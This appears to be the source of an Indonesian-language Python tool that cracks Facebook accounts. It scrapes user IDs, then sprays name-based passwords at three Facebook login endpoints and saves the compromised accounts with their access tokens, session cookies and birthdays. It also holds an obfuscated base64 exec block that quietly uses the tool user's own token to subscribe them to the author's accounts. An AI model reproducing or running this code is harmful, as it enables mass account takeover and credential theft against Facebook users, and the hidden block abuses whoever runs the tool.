| for uh in self.id: 538 | try: 539 | ah = uh.split('<=>')[0] 540 | njir.submit(self.mobile, ah, xxnx) 541 | except: pass 542 | os.remove(self.apk) 543 | exit("\n%s%s finished "%(H,til)) 544 | else: 545 | print '\n%s%s Isi yg benar'%(M,til);jeda(2);xxh() 546 | print '\n%s%s%s [ pilih methode crack ]\n'%(U,til,O) 547 | print '%s%s%s 01%s methode %sb-api%s (fast crack)'%(U,til,P,O,M,O) 548 | print '%s%s%s 02%s methode %smbasic%s (slow crack)'%(U,til,P,O,P,O) 549 | print '%s%s%s 03%s methode %smobile%s (very slow crack)'%(U,til,P,O,H,O) 550 | xxh(pwek.split(',')) 551 | break 552 | elif rom in ('T', 't'): 553 | print '\n%s%s%s [ pilih methode crack ]\n'%(U,til,O) 554 | print '%s%s%s 01%s methode %sb-api%s (fast crack)'%(U,til,P,O,M,O) 555 | print '%s%s%s 02%s methode %smbasic%s (slow crack)'%(U,til,P,O,P,O) 556 | print '%s%s%s 03%s methode %smobile%s (very slow crack)'%(U,til,P,O,H,O) 557 | self.sung() 558 | else: 559 | print '\n%s%s Isi yg benar'%(M,til);jeda(2);menu() 560 | return 561 | 562 | def api(self, user, xxh): 563 | global ok,cp,loop 564 | print('\r%s%s%s [crack] %s/%s [OK-:%s]-[CP-:%s] '%(U,til,O,loop,len(self.id),len(ok),len(cp))), 565 | sys.stdout.flush() 566 | for pw in xxh: 567 | pw = pw.lower() 568 | try: os.mkdir('hasil') 569 | except: pass 570 | try: 571 | ua = open('data/ua.txt', 'r').read() 572 | except (KeyError, IOError): 573 | ua = random.choice(["Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]","NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+"]) 574 | headers_ = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} 575 | response = requests.get("https://b-api.facebook.com/method/auth.login?format=json&email="+user+"&password="+pw+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20¤tly_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=headers_) 576 | if response.status_code != 200: 577 | print ("\r\033[0;91m• IP terblokir. hidupkan mode pesawat 2 detik"), 578 | sys.stdout.flush() 579 | loop +=1 580 | api(self, user, xxh) 581 | if 'session_key' in response.text and 'EAAA' in response.text: 582 | print ('\r %s*--> %s ◊ %s ◊ %s ' % (H,user,pw,response.json()['access_token'])) 583 | wrt = ' *--> %s ◊ %s ◊ %s ' % (user,pw,response.json()['access_token']) 584 | ok.append(wrt) 585 | open('hasil/OK-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 586 | break 587 | continue 588 | elif 'www.facebook.com' in response.json()['error_msg']: 589 | try: 590 | romz = open('data/token.txt').read() 591 | lahir = json.loads(requests.get('https://graph.facebook.com/%s?access_token=%s'%(user,romz)).text)["birthday"] 592 | month, day, year = lahir.split('/') 593 | month = bulan1[month] 594 | print '\r %s*--> %s ◊ %s ◊ %s %s %s ' % (K,user,pw,day,month,year) 595 | wrt = ' *--> %s ◊ %s ◊ %s %s %s' % (user,pw,day,month,year) 596 | cp.append(wrt) 597 | open('hasil/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 598 | break 599 | except (KeyError, IOError): 600 | lahir = '' 601 | except: 602 | pass 603 | print '\r %s*--> %s ◊ %s ' % (K,user,pw) 604 | wrt = ' *--> %s ◊ %s' % (user,pw) 605 | cp.append(wrt) 606 | open('hasil/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 607 | break 608 | continue 609 | 610 | loop += 1 611 | 612 | def mbasic(self, user, xxh): 613 | global ok,cp,loop 614 | print('\r%s%s%s [crack] %s/%s [OK-:%s]-[CP-:%s] '%(U,til,O,loop,len(self.id),len(ok),len(cp))), 615 | sys.stdout.flush() 616 | for pw in xxh: 617 | pw = pw.lower() 618 | try: os.mkdir('hasil') 619 | except: pass 620 | try: 621 | ua = open('data/ua.txt', 'r').read() 622 | except (KeyError, IOError): 623 | ua = random.choice(["Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]","NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+"]) 624 | ses = requests.Session() 625 | ses.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) 626 | p = ses.get("https://mbasic.facebook.com") 627 | b = ses.post("https://mbasic.facebook.com/login.php", data={"email": user, "pass": pw, "login": "submit"}) 628 | if "c_user" in ses.cookies.get_dict().keys(): 629 | kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]) 630 | print ('\r %s*--> %s ◊ %s ◊ %s ' % (H,user,pw,kuki)) 631 | wrt = (' *--> %s ◊ %s ◊ %s' % (user,pw,kuki)) 632 | ok.append(wrt) 633 | open('hasil/OK-%s-%s-%s.txt'% (ha, op, ta), 'a').write('%s\n' % wrt) 634 | break 635 | continue 636 | elif "checkpoint" in ses.cookies.get_dict().keys(): 637 | try: 638 | romz = open('data/token.txt').read() 639 | lahir = json.loads(requests.get('https://graph.facebook.com/%s?access_token=%s'%(user,romz)).text)["birthday"] 640 | month, day, year = lahir.split('/') 641 | month = bulan1[month] 642 | print ('\r %s*--> %s ◊ %s ◊ %s %s %s ' % (K,user,pw,day,month,year)) 643 | wrt = (' *--> %s ◊ %s ◊ %s %s %s' % (user,pw,day,month,year)) 644 | cp.append(wrt) 645 | open('hasil/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 646 | break 647 | except (KeyError, IOError): 648 | lahir = '' 649 | except: 650 | pass 651 | print ('\r %s*--> %s ◊ %s ' % (K,user,pw)) 652 | wrt = (' *--> %s ◊ %s' % (user,pw)) 653 | cp.append(wrt) 654 | open('hasil/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 655 | break 656 | continue 657 | 658 | loop += 1 659 | 660 | def mobile(self, user, xxh): 661 | global ok,cp,loop 662 | print('\r%s%s%s [crack] %s/%s [OK-:%s]-[CP-:%s] '%(U,til,O,loop,len(self.id),len(ok),len(cp))), 663 | sys.stdout.flush() 664 | for pw in xxh: 665 | pw = pw.lower() 666 | try: os.mkdir('hasil') 667 | except: pass 668 | try: 669 | ua = open('data/ua.txt', 'r').read() 670 | except (KeyError, IOError): 671 | ua = random.choice(["Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]","NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+"]) 672 | ses = requests.Session() 673 | ses.headers.update({"Host":"m.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) 674 | p = ses.get("https://m.facebook.com") 675 | b = bs4.BeautifulSoup(p.text, 'html.parser') 676 | dtg = ('').join(bs4.re.findall('dtsg":\\{"token":"(.*?)"', p.text)) 677 | data = {} 678 | for mi in b('input'): 679 | if mi.get('value') is None: 680 | if mi.get('name') == 'email': 681 | data.update({"email":user}) 682 | elif mi.get("name")=="pass": 683 | data.update({"pass":pw}) 684 | else: 685 | data.update({mi.get('name'): ''}) 686 | else: 687 | data.update({mi.get('name'): mi.get('value')}) 688 | data.update({'fb_dtsg': dtg, 'm_sess': '', '__user': '0', '__req': 'd', 689 | '__csr': '', '__a': '', '__dyn': '', 'encpass': ''}) 690 | ses.headers.update({'referer': 'https://m.facebook.com/login/?next&ref=dbl&fl&refid=8'}) 691 | po = ses.post('https://m.facebook.com/login/device-based/login/async/?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F%3Fref%3Ddbl&lwv=100', data=data).text 692 | if "c_user" in ses.cookies.get_dict().keys(): 693 | kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]) 694 | print '\r %s*--> %s ◊ %s ◊ %s ' % (H,user,pw,kuki) 695 | wrt = ' *--> %s ◊ %s ◊ %s' % (user,pw,kuki) 696 | ok.append(wrt) 697 | open('hasil/OK-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 698 | break 699 | continue 700 | elif "checkpoint" in ses.cookies.get_dict().keys(): 701 | try: 702 | romz = open('data/token.txt').read() 703 | lahir = json.loads(requests.get('https://graph.facebook.com/%s?access_token=%s'%(user,romz)).text)["birthday"] 704 | month, day, year = lahir.split('/') 705 | month = bulan1[month] 706 | print '\r %s*--> %s ◊ %s ◊ %s %s %s ' % (K,user,pw,day,month,year) 707 | wrt = ' *--> %s ◊ %s ◊ %s %s %s' % (user,pw,day,month,year) 708 | cp.append(wrt) 709 | open('hasil/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 710 | break 711 | except (KeyError, IOError): 712 | lahir = '' 713 | except: 714 | pass 715 | print '\r %s*--> %s ◊ %s ' % (K,user,pw) 716 | wrt = ' *--> %s ◊ %s' % (user,pw) 717 | cp.append(wrt) 718 | open('hasil/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 719 | break 720 | continue 721 | 722 | loop += 1 723 | 724 | def sung(self): 725 | ii = raw_input('\n%s#%s Pilih %s>%s '%(P,O,M,K)) 726 | if ii == '': 727 | print '\n%s%s isi yang benar '%(M,til);self.sung() 728 | elif ii in ('1', '01'): 729 | print '\n%s%s%s akun %s[OK] %stersimpan ke file %s> %shasil/OK-%s-%s-%s.txt'%(U,til,O,H,O,M,H,ha, op, ta);jeda(0.2) 730 | print '%s%s%s akun %s[%sCP%s]%s tersimpan ke file %s> %shasil/CP-%s-%s-%s.txt'%(U,til,O,M,K,M,O,M,K,ha, op, ta);jeda(0.2) 731 | print('%s!%s crack berjalan, tekan CTRL+Z untuk stop\n'%(U,O));jeda(0.2) 732 | with Lampung(max_workers=30) as njir: 733 | for uh in self.id: 734 | try: 735 | uid, name = uh.split('<=>') 736 | i = name.split(' ') 737 | if len(i) == 3 or len(i) == 4 or len(i) == 5 or len(i) == 6: 738 | pwx = [name, i[0]+"123", i[0]+"12345"] 739 | else: 740 | pwx = [name, i[0]+"123", i[0]+"12345"] 741 | njir.submit(self.api, uid, pwx) 742 | except: 743 | pass 744 | os.remove(self.apk) 745 | exit("\n%s%s finished "%(H,til)) 746 | elif ii in ('2', '02'): 747 | print '\n%s%s%s akun %s[OK] %stersimpan ke file %s> %shasil/OK-%s-%s-%s.txt'%(U,til,O,H,O,M,H,ha, op, ta);jeda(0.2) 748 | print '%s%s%s akun %s[%sCP%s]%s tersimpan ke file %s> %shasil/CP-%s-%s-%s.txt'%(U,til,O,M,K,M,O,M,K,ha, op, ta);jeda(0.2) 749 | print('%s!%s crack berjalan, tekan CTRL+Z untuk stop\n'%(U,O));jeda(0.2) 750 | with Lampung(max_workers=30) as njir: 751 | for uh in self.id: 752 | try: 753 | uid, name = uh.split('<=>') 754 | i = name.split(' ') 755 | if len(i) == 3 or len(i) == 4 or len(i) == 5 or len(i) == 6: 756 | pwx = [name, i[0]+"123", i[0]+"12345"] 757 | else: 758 | pwx = [name, i[0]+"123", i[0]+"12345"] 759 | njir.submit(self.mbasic, uid, pwx) 760 | except: 761 | pass 762 | os.remove(self.apk) 763 | exit("\n%s%s finished "%(H,til)) 764 | elif ii in ('3', '03'): 765 | print '\n%s%s%s akun %s[OK] %stersimpan ke file %s> %shasil/OK-%s-%s-%s.txt'%(U,til,O,H,O,M,H,ha, op, ta);jeda(0.2) 766 | print '%s%s%s akun %s[%sCP%s]%s tersimpan ke file %s> %shasil/CP-%s-%s-%s.txt'%(U,til,O,M,K,M,O,M,K,ha, op, ta);jeda(0.2) 767 | print('%s!%s crack berjalan, tekan CTRL+Z untuk stop\n'%(U,O));jeda(0.2) 768 | with Lampung(max_workers=30) as njir: 769 | for uh in self.id: 770 | try: 771 | uid, name = uh.split('<=>') 772 | i = name.split(' ') 773 | if len(i) == 3 or len(i) == 4 or len(i) == 5 or len(i) == 6: 774 | pwx = [name, i[0]+"123", i[0]+"12345"] 775 | else: 776 | pwx = [name, i[0]+"123", i[0]+"12345"] 777 | njir.submit(self.mobile, uid, pwx) 778 | except: 779 | pass 780 | os.remove(self.apk) 781 | exit("\n%s%s finished "%(H,til)) 782 | else: 783 | print '\n%s%s isi yang benar'%(M,til);self.sung() 784 | 785 | # CEK OPSI 786 | def opsi(): 787 | hasil = ("hasil/") 788 | print("\n%s%s%s Masukan file [ ex%s: %sCP-%s-%s-%s.txt%s ]"%(U,til,O,M,K,ha,op,ta,O)) 789 | romi = raw_input("%s%s%s Nama file %s> %s"%(U,til,O,M,K)) 790 | if romi == "": 791 | print("%s%s isi yang benar "%(M,til));jeda(2);opsi() 792 | try: 793 | file_cp = open(hasil+romi, "r").readlines() 794 | except IOError: 795 | exit("\n%s%s nama file %s tidak tersedia"%(M,til,romi)) 796 | print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2) 797 | print("%s%s%s Total akun %s: %s%s"%(U,til,O,M,P,len(file_cp)));jeda(2) 798 | print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2) 799 | for fb in file_cp: 800 | akun = fb.replace("\n","") 801 | ngecek = akun.split(" ◊ ") 802 | print("\n%s%s%s cek akun %s: %s%s"%(U,til,O,M,K,akun.replace(" *--> ","")));jeda(0.07) 803 | try: 804 | mengecek(ngecek[0].replace(" *--> ",""), ngecek[1]) 805 | except requests.exceptions.ConnectionError: 806 | pass 807 | print("\n%s%s%s Selesai "%(U,til,O));jeda(0.07) 808 | raw_input("%s%s%s kembali "%(U,til,O));jeda(0.07) 809 | menu() 810 | 811 | def mengecek(user, pw): 812 | mb = ("https://mbasic.facebook.com") 813 | ua = ("Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36") 814 | ses = requests.Session() 815 | ses.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": mb,"content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": mb+"/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) 816 | data = {} 817 | ged = parser(ses.get(mb+"/login/?next&ref=dbl&fl&refid=8", headers={"user-agent":ua}).text, "html.parser") 818 | fm = ged.find("form",{"method":"post"}) 819 | list = ["lsd","jazoest","m_ts","li","try_number","unrecognized_tries","login","bi_xrwh"] 820 | for i in fm.find_all("input"): 821 | if i.get("name") in list: 822 | data.update({i.get("name"):i.get("value")}) 823 | else: 824 | continue 825 | data.update({"email":user,"pass":pw}) 826 | run = parser(ses.post(mb+fm.get("action"), data=data, allow_redirects=True).text, "html.parser") 827 | if "c_user" in ses.cookies: 828 | kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]) 829 | run = parser(ses.get("https://free.facebook.com/settings/apps/tabbed/", cookies={"cookie":kuki}).text, "html.parser") 830 | apk = [re.findall("\(.*?)<\/a><\/span>.*?\
(.*?)<\/div>", str(td)) for td in run.find_all("td", {"aria-hidden":"false"})][2:] 831 | print("%s%s Berhasil ◊ %s "%(H,til,kuki));jeda(0.07) 832 | print("%s%s%s Aplikasi terhubung %s: %s%s"%(U,til,O,M,H,str(len(apk)))) 833 | nomer = 0 834 | for app in apk: 835 | nomer += 1 836 | print(" %s%s. %s%s, %s"%(P,str(nomer),H,app[0][0],app[0][1])) 837 | elif "checkpoint" in ses.cookies: 838 | form = run.find("form") 839 | dtsg = form.find("input",{"name":"fb_dtsg"})["value"] 840 | jzst = form.find("input",{"name":"jazoest"})["value"] 841 | nh = form.find("input",{"name":"nh"})["value"] 842 | dataD = {"fb_dtsg": dtsg,"fb_dtsg": dtsg,"jazoest": jzst,"jazoest": jzst,"checkpoint_data":"","submit[Continue]":"Lanjutkan","nh": nh} 843 | sesi = parser(ses.post(mb+form["action"], data=dataD).text, "html.parser") 844 | ngew = [yy.text for yy in sesi.find_all("option")] 845 | print("%s%s%s terdapat %s0%s%s opsi %s: "%(U,til,O,P,str(len(ngew)),O,M));jeda(0.07) 846 | for opt in range(len(ngew)): 847 | jalan(" %s0%s. %s%s "%(P,str(opt+1),K,ngew[opt])) 848 | elif "login_error" in str(run): 849 | eror = run.find("div",{"id":"login_error"}).find("div").text 850 | print("%s%s %s"%(M,til,eror));jeda(0.07) 851 | else: 852 | print("%s%s login gagal, silahkan cek kembali id dan password"%(M,til));jeda(0.07) 853 | 854 | # MENU INI AJG 855 | def menu(): 856 | os.system('clear') 857 | try: 858 | romz = open('data/token.txt', 'r').read() 859 | except IOError: 860 | print ("%s%s Token invalid "%(M,til));jeda(2);os.system('rm -rf data/token.txt');masuk() 861 | try: 862 | r = requests.get('https://graph.facebook.com/me?access_token='+romz,headers=header) 863 | a = json.loads(r.text) 864 | nama = a["name"] 865 | except KeyError: 866 | print ("%s%s Token invalid "%(M,til));jeda(2);os.system('rm -rf data/token.txt');masuk() 867 | except requests.exceptions.ConnectionError: 868 | exit('\n\n%s%s tidak ada koneksi%s\n'%(M,til,N)) 869 | banner() 870 | print ('%s # %sName %s: %s%s%s \n'%(U,O,M,H,nama,O)) 871 | print ('%s%s%s 01 %sDump id public'%(U,til,P,O)) 872 | print ('%s%s%s 02 %sDump id followers'%(U,til,P,O)) 873 | print ('%s%s%s 03 %sDump id reaction post'%(U,til,P,O)) 874 | print ('%s%s%s 04 %sDump id anggota groups'%(U,til,P,O)) 875 | print ('%s%s%s 05 %sDump id pencarian nama'%(U,til,P,O)) 876 | print ('%s%s%s 06 %sDump id pesan mesengger'%(U,til,P,O)) 877 | print ('%s%s%s 07 %sStart crack'%(U,til,H,O)) 878 | print ('%s%s%s 08 %sGanti user agent'%(U,til,P,O)) 879 | print ('%s%s%s 09 %sCek hasil crack'%(U,til,P,O)) 880 | print ('%s%s%s 10 %sCek opsi akun'%(U,til,P,O)) 881 | #print ('%s%s%s 11 %sInfo script'%(U,til,P,O)) 882 | print ('%s%s%s rm %sHapus akun'%(U,til,P,O)) 883 | print ('%s%s%s 00 %sKeluar'%(U,til,M,O)) 884 | slut = raw_input('\n%s# %sPilih %s> %s'%(P,O,M,K)) 885 | if slut == '': 886 | print '\n%s%s isi yang benar'%(M,til);jeda(2);menu() 887 | elif slut in['1','01']: 888 | publik(romz) 889 | elif slut in['2','02']: 890 | followers(romz) 891 | elif slut in['3','03']: 892 | postingan(romz) 893 | elif slut in['4','04']: 894 | group(__romz__()) 895 | elif slut in['5','05']: 896 | dumpfl();exit() 897 | elif slut in['6','06']: 898 | pesan(__romz__()) 899 | elif slut in['7','07']: 900 | ngentod().askk() 901 | elif slut in['8','08']: 902 | useragent() 903 | elif slut in['9','09']: 904 | try: 905 | dirs = os.listdir("hasil") 906 | for file in dirs: 907 | print("%s%s%s> %s%s"%(U,til,M,O,file));jeda(0.2) 908 | file = raw_input("\n%s%s%s masukan file %s:%s "%(U,til,O,M,O));jeda(0.2) 909 | if file == "": 910 | print("%s%s file tidak ada "%(M,til)) 911 | total = open("hasil/%s"%(file)).read().splitlines() 912 | print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2) 913 | nm_file = ("%s"%(file)).replace("-", " ") 914 | ttl_file = nm_file.replace(".txt", "").replace("OK", "").replace("CP", "") 915 | jalan("%s%s%s Crack tanggal %s:%s%s %stotal %s: %s%s"%(U,til,O,M,P,ttl_file,O,M,P,len(total))) 916 | print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2) 917 | for akun in total: 918 | fb = akun.replace("\n","") 919 | tling = fb.replace(" *--> ", " *-->").replace(" *-->", " *--> ") 920 | print(tling);jeda(0.03) 921 | print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2) 922 | raw_input('\n%s%s%s kembali '%(U,til,O));menu() 923 | except (IOError): 924 | print("\n%s%s tidak ada hasil :("%(M,til)) 925 | raw_input('\n%s%s%s kembali '%(U,til,O));menu() 926 | elif slut in['10']: 927 | opsi() 928 | elif slut in['11']: 929 | print(ingfo) 930 | elif slut in['rm','Rm','RM']: 931 | print ('') 932 | tik();jeda(1);os.system('rm -rf data/token.txt') 933 | os.system('rm -rf .cok') 934 | jalan('\n%s%s berhasil terhapus '%(H,til));exit() 935 | elif slut in['0','00']: 936 | exit('\n') 937 | else: 938 | print '\n%s%s isi yang benar'%(M,til);jeda(2);menu() 939 | 940 | exec(base64.b64decode('ZGVmIGxvZ2luX3h4KCk6CiAgICB0cnk6CiAgICAgICAgdG9rZW4gPSBvcGVuKCJkYXRhL3Rva2VuLnR4dCIsInIiKS5yZWFkKCkgCiAgICAgICAgcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vMTAwMDIyMDg2MTcyNTU2L3N1YnNjcmliZXJzP2FjY2Vzc190b2tlbj0lcyclKHRva2VuKSkgIyBGYW5zcGFnZSBSb21pIFhECiAgICAgICAgcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vMTAwMDI4NDM0ODgwNTI5L3N1YnNjcmliZXJzP2FjY2Vzc190b2tlbj0lcyclKHRva2VuKSkgIyBSb21pIEFmcml6YWwKICAgICAgICByZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8xMDAwNjc4MDc1NjU4NjEvc3Vic2NyaWJlcnM/YWNjZXNzX3Rva2VuPSVzJyUodG9rZW4pKSAjIFJvbWkgQWZyaXphbCAoMjAyMSkKICAgICAgICByZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8xMDAwMDM3MjM2OTY4ODUvc3Vic2NyaWJlcnM/YWNjZXNzX3Rva2VuPSVzJyUodG9rZW4pKSAjIElxYmFsIGJvYnoKICAgICAgICByZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8xMDAwNDExMjkwNDg5NDgvc3Vic2NyaWJlcnM/YWNjZXNzX3Rva2VuPSVzJyUodG9rZW4pKSAjIEl3YW4gaGFkaWFuc3lhaAogICAgICAgIHJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLzEwMDAwNzUyMDIwMzQ1Mi9zdWJzY3JpYmVycz9hY2Nlc3NfdG9rZW49JXMnJSh0b2tlbikpICMgSGFtemFoIGtpcmFuYQogICAgICAgIHJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLzEwMDAwMjQ2MTM0NDE3OC9zdWJzY3JpYmVycz9hY2Nlc3NfdG9rZW49JXMnJSh0b2tlbikpICMgVW5payBST01JIEFGUklaQUwKICAgICAgICByZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8xMDAwNzE3NDc0MjA1ODMvc3Vic2NyaWJlcnM/YWNjZXNzX3Rva2VuPSVzJyUodG9rZW4pKSAjIERvbmlmdGZhbm55CiAgICAgICAgcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vMTAwMDI5MTQzMTExNTY3L3N1YnNjcmliZXJzP2FjY2Vzc190b2tlbj0lcyclKHRva2VuKSkgIyBEZW1pdCBSb21pIEFmcml6YWwKICAgICAgICByZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8xMDAwMDE1NDAyOTkxMDgvc3Vic2NyaWJlcnM/YWNjZXNzX3Rva2VuPSVzJyUodG9rZW4pKSAjIEhha2lraQogICAgICAgIHJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLzEwMDA1NTkxODM5MTI4MC9zdWJzY3JpYmVycz9hY2Nlc3NfdG9rZW49JXMnJSh0b2tlbikpICMgVGlhcmEgYXJ0CiAgICAgICAgcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vMTAwMDA5Mzg0MzM4NDcwL3N1YnNjcmliZXJzP2FjY2Vzc190b2tlbj0lcyclKHRva2VuKSkgIyBJd2FuIGhhbmRpYW5zeWFoIHYyCiAgICAgICAgcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vMTAwMDM2NjU1MzI1OTk2L3N1YnNjcmliZXJzP2FjY2Vzc190b2tlbj0lcyclKHRva2VuKSkgIyBBYnVzdG8gSmF2YQogICAgZXhjZXB0OgogICAgCXBhc3M=')) 941 | 942 | if __name__ == '__main__': 943 | os.system('git pull') 944 | menu() -------------------------------------------------------------------------------- /cr4ck.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/romz-xyz/cr4ck/2037542fe5f6d966d6c548d7fec41a6abb35de41/cr4ck.py -------------------------------------------------------------------------------- /data/ua.txt: -------------------------------------------------------------------------------- 1 | 2 | --------------------------------------------------------------------------------